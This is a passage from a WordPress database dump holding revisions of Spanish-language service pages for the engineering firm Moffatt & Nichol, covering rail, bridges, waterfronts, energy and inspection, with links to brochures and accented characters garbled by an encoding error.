nuevas instalaciones y corredores asÃ como la rehabilitaciÃ³n y modernizaciÃ³n de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el anÃ¡lisis financiero hasta los servicios de construcciÃ³n para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y AmÃ©rica. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecuciÃ³n de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el anÃ¡lisis de corredores, los impactos del trÃ¡fico y la logÃstica de las operaciones.\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y pÃºblicos.\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \n  &nbsp;\n  <div class=\"brochure-wrapper-ports\">\n    <h3>publicaciones relevantes</h3>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n        <strong class=\"green-new\">CALIFICACIÃ“N DE SERVICIOS FERROVIARIOS</strong><br />\n        Con mÃ¡s de sesenta aÃ±os de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\n        Moffatt & Nichol se ha especializado en el planeamiento y diseÃ±o de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en NorteamÃ©rica, Europa,</div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n  </div>\n</div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','inherit','open','open','','54-revision','','','2011-10-18 11:31:50','2011-10-18 11:31:50','',54,'http://moffattnichol.com/spanish/54-revision/',0,'revision','',0),(2329,1,'2012-05-17 13:00:16','2012-05-17 13:00:16','<div class=\"content_faq\"> [anything_slides cat=transportation width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n  <div class=\"ports-left\">\r\n    <h3 id=\"1\">transporte</h3> Habiendo completado proyectos de movimiento de mercancÃas y de transporte, tanto dentro como mÃ¡s allÃ¡ del campo tradicional del transporte, la prÃ¡ctica de Moffatt & Nichol reÃºne los conocimientos de ingenierÃa civil y estructural de la firma con nuestra singular comprensiÃ³n de la infraestructura del movimiento de mercancÃas. Moffatt & Nichol ofrece una gama completa de servicios integrados y proporciona el planeamiento y el diseÃ±o para todos los aspectos de calzadas, carreteras, vÃas fÃ©rreas y puentes, asÃ como instalaciones intermodales y estructuras relacionadas. Nuestras habilidades tÃ©cnicas son incrementadas por nuestras capacidades de economÃa del transporte, que incluyen anÃ¡lisis del financiamiento y de la obtenciÃ³n de fondos, estudios de mercado y pronÃ³stico de la carga terrestre y de contenedores. Aportamos creatividad e innovaciÃ³n a cada misiÃ³n y nuestra cartera de proyectos presenta tareas complejas y desafiantes que incluyen algunos de los intercambios y rutas de carga mÃ¡s transitados asÃ como los puentes con mayor trÃ¡fico en el mundo.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/transportation-services/\">Examinar los servicios de transporte, puentes y ferrocarriles >></a></div>\r\n    &nbsp; <h3 id=\"2\">puentes</h3> Construidos para permitir el transporte por encima de obstÃ¡culos fÃsicos, los puentes son un componente bÃ¡sico de todas las redes de transporte que pueden abarcar desde una estructura simple que cruza un riachuelo en su vecindario hasta una estructura representativa utilizada como fondo en anuncios publicitarios. Moffatt & Nichol proporciona capacidades de ingenierÃa estructural para el planeamiento y el diseÃ±o de una amplia gama de puentes. \r\n    \r\n  \r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/roads-bridges-services/\">Examinar los servicios de puentes >></a></div>\r\n    &nbsp; <h3 id=\"3\">ferrocarriles</h3> Los sistemas ferroviarios de carga y pasajeros siguen estando a la vanguardia del desarrollo econÃ³mico, asÃ como la tendencia hacia el tren suburbano como mÃ©todo mÃ¡s sostenible de transporte. Moffatt & Nichol proporciona un conocimiento tÃ©cnico especializado en el estudio y diseÃ±o en toda la gama del proyecto ferroviario - desde corredores de carga e instalaciones ferroviarias intermodales, hasta corredores de trenes suburbanos y estaciones de pasajeros. Nuestras capacidades relacionadas con ferrocarriles incluyen el planeamiento y la ingenierÃa para nuevas instalaciones y corredores asÃ como la rehabilitaciÃ³n y modernizaciÃ³n de las instalaciones y corredores existentes. La firma ha proporcionado una gama completa de servicios de desarrollo de proyectos ferroviarios que abarcan desde el anÃ¡lisis financiero hasta los servicios de construcciÃ³n para clientes industriales, comerciales y militares, incluyendo autoridades ferroviarias y de transporte en Europa y AmÃ©rica. Esta experiencia da a nuestro personal una amplia perspectiva cuando se trata de anticipar y evitar fallas en la ejecuciÃ³n de proyectos ferroviarios. Nuestras capacidades singularmente especializadas relacionadas con ferrocarriles incluyen la seguridad de pasos a nivel, el anÃ¡lisis de corredores, los impactos del trÃ¡fico y la logÃstica de las operaciones.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/railroads-services/\">Examinar los servicios ferroviarios >></a></div>\r\n    &nbsp; <h3 id=\"4\">servicios consultivos comerciales globales</h3> Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de servicios que utilizan nuestras habilidades sin igual en las Ã¡reas de anÃ¡lisis de carga de contenedores y planeamiento econÃ³mico. Atendemos a una diversidad de clientes que incluye autoridades portuarias, organismos gubernamentales, operadores de terminales, consultores de transporte y a inversionistas privados y pÃºblicos.\r\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/transportation-bridge-rail/capabilities-and-expertise/\">Examinar los servicios consultivos comerciales globales >></a></div> \r\n  &nbsp;\r\n  <div class=\"brochure-wrapper-ports\">\r\n    <h3>publicaciones relevantes</h3>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-1.jpg\" /></div>\r\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n        <strong class=\"green-new\">CALIFICACIÃ“N DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Con mÃ¡s de sesenta aÃ±os de experiencia, Moffatt &amp; Nichol tiene el legado de colocar a la seguridad ante todo. Creemos que</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/RAIL%20SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n    <div class=\"brochure-one\">\r\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/rail-2.jpg\" /></div>\r\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS FERROVIARIOS</strong><br />\r\n        Moffatt & Nichol se ha especializado en el planeamiento y diseÃ±o de grandes proyectos de obras civiles, que incluyen instalaciones ferroviarias para clientes en NorteamÃ©rica, Europa,</div>\r\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/rail-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/RAIL1SERVICES.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\r\n  </div>\r\n</div>\r\n</div>\r\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>','Transporte, puentes y ferrocarriles','','inherit','open','open','','54-revision-2','','','2012-05-17 13:00:16','2012-05-17 13:00:16','',54,'http://moffattnichol.com/spanish/54-revision-2/',0,'revision','',0),(2330,1,'2011-10-18 11:35:36','2011-10-18 11:35:36','<div class=\"content_faq\">\n        [vslider name=\"urban\"] \n      \n       <div class=\"ports-left\">\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzÃ³ a participar en el desarrollo del frente de mar urbano a principios de la dÃ©cada de 1960 con la creaciÃ³n del puerto de Huntington en la parte sur de California. Desde que desarrollÃ³ este proyecto hace casi 50 aÃ±os, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalizaciÃ³n y el nuevo desarrollo de frentes de mar urbanosâ€”incluyendo la evoluciÃ³n del puerto deportivo moderno y el diseÃ±o de puertos para pequeÃ±as embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turÃsticos, parques ribereÃ±os y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuÃ¡ticos, rampas para botes, paseos marÃtimos, amarres de buques histÃ³ricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseÃ±o en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafÃos involucrados al desarrollar las vÃas navegables y las lÃneas costeras del mundo.\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \n</div>\n <div class=\"brochure-wrapper-ports\">\n            <h3>publicaciones relevantes</h3>\n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n                <strong class=\"green-new\">CALIFICACIÃ“N DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\n                Como los frentes costeros de hoy en dÃa se convierten en catalizadores de la actividad econÃ³mica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeÃ±a un papel crÃtico \n                </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n              \n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\n               Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n de recreo aumentaba </div>\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\n              \n            <div class=\"brochure-one\">\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\n                Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\n                &nbsp;\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\n            \n        </div>\n  </div>        \n        \n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-revision','','','2011-10-18 11:35:36','2011-10-18 11:35:36','',58,'http://moffattnichol.com/spanish/58-revision/',0,'revision','',0),(2331,1,'2012-05-17 13:05:32','2012-05-17 13:05:32','<div class=\"content_faq\">\r\n       [anything_slides cat=urban-waterfronts-and-marinas width=588 height=300  delay=3000 resume=15000 animation=750 order=ASC orderby=menu_order theme=construction]\r\n      \r\n       <div class=\"ports-left\">\r\n            <h3>frentes de mar urbanos y puertos deportivos</h3> Moffatt & Nichol comenzÃ³ a participar en el desarrollo del frente de mar urbano a principios de la dÃ©cada de 1960 con la creaciÃ³n del puerto de Huntington en la parte sur de California. Desde que desarrollÃ³ este proyecto hace casi 50 aÃ±os, la firma ha llegado a ser reconocida a nivel mundial por su papel en la revitalizaciÃ³n y el nuevo desarrollo de frentes de mar urbanosâ€”incluyendo la evoluciÃ³n del puerto deportivo moderno y el diseÃ±o de puertos para pequeÃ±as embarcaciones. Nuestra cartera de frentes de mar urbanos incluye centros turÃsticos, parques ribereÃ±os y espacios abiertos, desarrollos de puertos deportivos residenciales y municipales, terminales de transbordadores y taxis acuÃ¡ticos, rampas para botes, paseos marÃtimos, amarres de buques histÃ³ricos, comerciales y recreacionales, mejora de humedales y muchos otros usos. Nuestra experiencia en el planeamiento y diseÃ±o en el ambiente marino nos permite crear infraestructura sostenible y soluciones innovadoras y premiadas para los desafÃos involucrados al desarrollar las vÃas navegables y las lÃneas costeras del mundo.\r\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/urban-waterfronts-marinas/urban-waterfronts-and-marinas/\">Examinar los servicios de frentes de mar urbanos y puertos deportivos >></a></div> \r\n</div>\r\n <div class=\"brochure-wrapper-ports\">\r\n            <h3>publicaciones relevantes</h3>\r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-2.jpg\" /></div>\r\n              <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\r\n                <strong class=\"green-new\">CALIFICACIÃ“N DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n                Como los frentes costeros de hoy en dÃa se convierten en catalizadores de la actividad econÃ³mica, la especialidad de frentes de mar urbanos y puertos deportivos de Moffatt & Nichol desempeÃ±a un papel crÃtico \r\n                </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-qualification/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/URBAN%20WATERFRONTS%20AND%20MARINAS%20QUALS-ELECTRONIC.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-1.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE FRENTES DE MAR URBANOS Y PUERTOS DEPORTIVOS</strong><br />\r\n               Los frentes costeros de hoy son catalizadores de la actividad econÃ³mica. La especialidad de frentes costeros y puertos deportivos de Moffatt & Nichol se estableciÃ³ en la dÃ©cada de 1960, a medida que la navegaciÃ³n de recreo aumentaba </div>\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/urban-waterfronts-and-marinas-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/URBAN1WATERFRONT.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n              \r\n            <div class=\"brochure-one\">\r\n              <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/urban-3.jpg\" /></div>\r\n              <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\r\n                <strong class=\"green-new\">FOLLETO DE TERMINALES DE TRANSBORDADORES</strong><br />\r\n                Como una de las mayores firmas internacionales de ingenierÃa y consultorÃa marÃtimas en el mundo, el equipo de expertos de Moffatt & Nichol ofrece sus conocimientos en</div>\r\n                &nbsp;\r\n              <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ferry-terminals-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/FERRY1TERMINALS.pdf\" title=\"Descargar\" target=\"_blank\">Descargar</a></span> </div>\r\n            \r\n        </div>\r\n  </div>        \r\n        \r\n   <div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>        ','Frentes de mar urbanos y puertos deportivos','','inherit','open','open','','58-revision-2','','','2012-05-17 13:05:32','2012-05-17 13:05:32','',58,'http://moffattnichol.com/spanish/58-revision-2/',0,'revision','',0),(2332,1,'2011-10-18 11:36:09','2011-10-18 11:36:09','<div class=\"content_faq\"> [vslider name=\"energy\"]\n  <div class=\"ports-left\">\n    <h3>energÃa</h3> Como las economÃas y las polÃticas medioambientales cambian y se modifican en todo el mundo, el sector de energÃa debe adaptarse. Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que aborda las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa para la industria del petrÃ³leo y el gas, desde muelles y dÃ¡rsenas hasta cimentaciones profundas, instalaciones costa afuera flotantes, terminales de carga lÃquida a granel y de GNL y sistemas de amarre costa afuera. Hemos aprovechado esta experiencia, junto con nuestra familiaridad con los procesos costeros, las soluciones de amortiguaciÃ³n, las estructuras dinÃ¡micas y la modelaciÃ³n de cimentaciones, para colaborar con clientes en afrontar los desafÃos de proyectos de energÃa convencional y renovableâ€”desde la infraestructura civil necesaria para la generaciÃ³n de energÃa convencional hasta el planeamiento y diseÃ±o de fuentes mÃ¡s innovadoras tales como el almacenamiento de energÃa eÃ³lica costa afuera, la energÃa hidrocinÃ©tica y la energÃa eÃ³lica de aguas profundas.\n    <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" href=\"http://moffattnichol.com/spanish/energy/energy-services/\">Examinar servicios de energÃa >></a></div>\n  </div>\n  <div class=\"brochure-wrapper-ports\">\n    <h3>publicaciones relevantes</h3>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-1.jpg\" /></div>\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Calificaciones y experiencia profesional</em><br />\n        <strong class=\"green-new\">Folleto de Instalaciones marÃtimas de petrÃ³leo y gas	</strong><br />\n        Durante dÃ©cadas, Moffatt & Nichol ha sido un consultor lÃder en la industria que abordaba las necesidades especÃficas de las terminales marÃtimas costa afuera y cercanas a la costa de </div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/oil-gas-qualifications/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/pdf/OIL%20AND%20GAS%20MAY%202011-PORTAL.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-7.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DESCRIPTIVO DE ENERGÃA EÃ“LICA</strong><br />\n        Moffatt & Nichol estÃ¡ posicionado en forma singular para ayudar a nuestros clientes a afrontar los desafÃos de proyectos de desarrollo de energÃa eÃ³lica, tanto en tierra como costa afuera. Combinamos nuestro </div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-power-overview-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Power_Overview_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-5.jpg\" /></div>\n      <div class=\"bordhure-text\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE LA SUBESTRUCTURA DE GENERADOR DE TURBINA EÃ“LICA (WTG) COSTA AFUERA</strong><br />\n        Moffatt & Nichol aporta las capacidades y experiencia para diseÃ±ar subestructuras optimizadas costa afuera para apoyar el desarrollo de parques eÃ³licos costa afuera, incluyendo generadores de turbina eÃ³lica (WTG, por sus siglas en inglÃ©s)</div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wtg-substructure-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_WTG_Substructure_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span></div>\n    <div class=\"brochure-last\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-4.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DE PUERTOS DE ACCESO A PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\n        Moffatt & Nichol es la firma principal de planeamiento y diseÃ±o para el desarrollo de puertos y terminales marÃtimas en NorteamÃ©rica y es una de las principales firmas a nivel mundial </div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-staging-ports-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Staging_Ports_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n  </div>\n  <div class=\"brochure-wrapper-ports\">\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-2.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DE DISEÃ‘O DE PLATAFORMAS DE SUBESTACIONES ELÃ‰CTRICAS COSTA AFUERA</strong><br />\n        El conocimiento de la ingenierÃa marÃtima/costa afuera y la comprensiÃ³n de las necesidades de los parques eÃ³licos costa afuera de Moffatt & Nichol proporciona </div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-electrical-substation-platform-design-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Electrical_Substation_Platform_Design_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-3.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DE LA GESTIÃ“N DE PROGRAMA DE PARQUES EÃ“LICOS COSTA AFUERA</strong><br />\n        El desarrollo eÃ³lico costa afuera crea muchos desafÃos para los desarrolladores. La industria y las regulaciones estÃ¡n en cambio constantemente. Las percepciones </div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/offshore-wind-farm-program-management-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Offshore_Wind_Farm_Program_Management_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n    <div class=\"brochure-one\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-6.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO DE SERVICIOS CONSULTIVOS COMERCIALES DE PARQUES EÃ“LICOS</strong><br />\n        Los servicios consultivos comerciales globales de Moffatt & Nichol aprovechan las singulares capacidades de planeamiento marÃtimo y de infraestructura de la firma y ofrecen un conjunto de</div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/wind-farm-commercial-advisory-services-brochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/Wind_Farm_Commercial_Advisory_Services_portal.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n    <div class=\"brochure-last\">\n      <div class=\"brochure-black\"><img src=\"http://moffattnichol.com/spanish/wp-content/themes/moffatandnichol/images/relavent/energy-8.jpg\" /></div>\n      <div class=\"bordhure-text-two\"> <em class=\"aapa-date\">Folleto</em><br />\n        <strong class=\"green-new\">FOLLETO de Almacenamiento de EnergÃa de Aire Comprimido del OcÃ©ano (OCAES, por sus siglas en inglÃ©s)</strong><br />\n        Â¿QuÃ© es OCAES? TRES COMPONENTES CLAVE: Innovadora tecnologÃa de compresor/expansor GCAESâ„¢ â€¢ Con base en la costa â€¢ Modular\n       </div>\n      <span class=\"moreheadlines-newone fr\"><a href=\"http://moffattnichol.com/spanish/ocean-compressed-air-energy-storage-bochure/\" title=\"Ver\">Ver</a> | <a href=\"http://moffattnichol.com/admin/upload_bro/OCAES Brochure-PRINTABLE.pdf\" target=\"_blank\" title=\"Descargar\">Descargar</a></span> </div>\n  </div>\n</div>\n<div class=\"topbtn\"> <a href=\"#top\" title=\"Volver al principio\">Volver al principio</a></div>\n','EnergÃa','','inherit','open','open','','60-revision','','','2011-10-18 11:36:09','2011-10-18 11:36:09','',60,'http://moffattnichol.com/spanish/60-revision/',0,'revision','',0),(2333,1,'2011-10-18 11:36:45','2011-10-18 11:36:45','<div class=\"content_faq\">\n        [vslider name=\"Inspection\"] \n       <div class=\"ports-left\">\n            <h3>inspecciÃ³n y rehabilitaciÃ³n</h3> Con aÃ±os de experiencia a la vanguardia del diseÃ±o de rehabilitaciÃ³n de frentes costeros, Moffatt & Nichol ha desarrollado una minuciosa comprensiÃ³n de los problemas histÃ³ricos y de las tÃ©cnicas de reparaciÃ³n ineficaces que son frecuentes en los proyectos de frentes costeros. Como una de las pocas firmas que se especializan tanto en la inspecciÃ³n submarina como en el diseÃ±o de ingenierÃa para estructuras de frentes costeros, Moffatt & Nichol mantiene un equipo de mÃ¡s de 40 ingenieros-buzos internos y con entrenamiento comercial, que proporcionan inspecciones submarinas y de la superestructura en forma rutinaria y regular. Estos ingenieros-buzos proporcionan una valiosa comprensiÃ³n del funcionamiento y comportamiento de las estructuras de frentes costeros. Por lo tanto, no producimos planes de reparaciÃ³n a ciegas que consisten en parchar costras, rellenar grietas y revestir pilotes. Una reparaciÃ³n eficaz va mÃ¡s allÃ¡ de estos elementos bÃ¡sicos y requiere de experiencia profesional en este campo especializado.  AdemÃ¡s, Moffatt & Nichol ofrece ingenierÃa de vida de servicio, modelaciÃ³n de durabilidad y capacidades de modelaciÃ³n de elementos finitos para proporcionar un importante valor agregado a los proyectos.\n <div class=\"moreheadlines-newone\"><a title=\"Ver perfil completo\" 